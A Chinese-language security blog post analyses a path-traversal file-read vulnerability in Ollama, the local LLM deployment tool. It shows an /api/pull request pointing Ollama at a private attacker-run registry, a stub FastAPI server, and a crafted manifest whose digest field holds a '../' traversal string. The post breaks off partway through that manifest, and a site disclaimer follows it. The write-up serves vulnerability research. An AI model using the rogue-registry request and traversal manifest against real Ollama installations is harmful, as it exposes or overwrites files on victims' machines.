本地部署deepseek风险?部署工具ollama任意文件读取漏洞超详细分析

2025-03-19 51 0

近日,DeepSeek 爆火,大部分用户都选择使用 Ollama 在本地搭建 DeepSeek 以使用高效、便捷的 AI 模型。然而,随着 Ollama 在本地大规模应用,其安全性问题也逐渐引起关注。鉴于此,我决定深入研究 Ollama 相关的潜在漏洞,探讨其在本地部署环境下可能面临的安全风险。

ollama介绍

Ollama是一个专为本地机器设计的开源框架,旨在简化大型语言模型(LLM)的部署和运行过程。它提供了一套工具和命令,使用户能够轻松地下载、管理和运行各种语言模型,包括LLaMA、LLaVA等流行模型。Ollama通过优化设置和配置细节,如GPU使用情况,提高了模型运行的效率,并且其代码简洁明了,运行时占用资源少,使得在本地高效地运行大型语言模型成为可能。
本地部署deepseek风险?部署工具ollama任意文件读取漏洞超详细分析插图

Ollama 的 HTTP 服务器暴露了多个 API 接口,这些接口执行不同的操作。接口具体的功能介绍如下图。

本地部署deepseek风险?部署工具ollama任意文件读取漏洞超详细分析插图1

manifest文件

根据Ollama机制,/api/pull接口默认可以从Ollama官方registry拉取镜像,当然我们也可以选择从自己构建的私人服务器上拉取镜像,经过研究在pull时规定如下参数即可从私人服务器上拉取镜像

  • 10.211.55.3:11434是Ollama客户端地址

  • 192.168.200.237是构造的私人服务器地址

POST /api/pull HTTP/1.1
Host: 10.211.55.3:11434
Content-Type: application/json
Content-Length: 77

{
	"name": "192.168.200.237/tianweng-anquan/a1batr0ss",
	"insecure": true
}

我们先使用fastapi搭建一个私人服务器,看看请求以上请求包会发生什么

from fastapi import FastAPI, Request, Response

app = FastAPI()

if __name__ == "__main__":
    import uvicorn
    uvicorn.run(app, host='0.0.0.0', port=80)

我们发现响应包报错:拉取镜像时没有找到manifest文件。(这是ollama的机制:当你运行ollama pull <model>时,Ollama 客户端会先向registry服务器发送请求,查询该模型的元数据)

本地部署deepseek风险?部署工具ollama任意文件读取漏洞超详细分析插图2

服务器端也报错显示出了一个地址:/v2/tianweng-anquan/a1batr0ss/manifests/latest,这个地址一定就是请求的registry服务器manifest的地址了。

本地部署deepseek风险?部署工具ollama任意文件读取漏洞超详细分析插图3

这里绕不开我们需要谈到manifest文件,如下是一个正常的manifest文件:

  • config(容器配置层):存储 Docker 容器的元数据,包括容器的运行配置、环境变量、Entrypoint、CMD、工作目录等。

  • layers(镜像层数据):存储 Docker 镜像的文件系统层(RootFS),每一层都代表了一次文件的变化,比如COPYRUN指令执行后的结果。

{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "config": {
    "mediaType": "application/vnd.docker.container.image.v1+json",
    "digest": "sha256:9c46aefae6c6d1e9c1c1b25b8a6f8e67a10bffbdf1b5a82842a527776b8f447a",
    "size": 7023
  },
  "layers": [
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "digest": "sha256:3a2e9a64b4e5e2b77f9a6f2bb2e9235db934e6d3a9c0b1d3837cd8b24d3f6dfb",
      "size": 2794576
    },
    {
      "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
      "digest": "sha256:5b8c05cddf924c0c3e5f5a5e3f0b4a2c1b96a8a5ff8b2e99a3d5372c5f1e3a28",
      "size": 1484567
    }
  ]
}

当然最重要的是digest字段:这个字段本意是用来校验config层和layers层的哈希的,但经过研究发现digest字段在使用时并未经过适当的验证,导致在尝试将其存储到文件系统时可能发生路径遍历漏洞。如下:

{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "config": {
    "mediaType": "application/vnd.docker.container.image.v1+json",
    "digest": "../../../../../../../../../../../../../../../../../../../traversal",
    "size": 5
  },
  "layers": [
    {
      "mediaType": "application/vnd.ollama.image.license

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

穿透技术域迷雾:如何用AI缝合安全裂痕?
SKBD(Scorpion-Killer) Linux-SSH长期隐藏后门持久化控制注入工具
高危PHP漏洞可绕过验证加载恶意内容
惠普HPE CMU曝高危漏洞:攻击者可绕过认证执行远程命令(CVE-2024-13804)
一周安全动态回顾:Chrome零日漏洞、IngressNightmare、太阳能设备漏洞与DNS攻击手法
AI Agent:功能、架构与安全风险

发布评论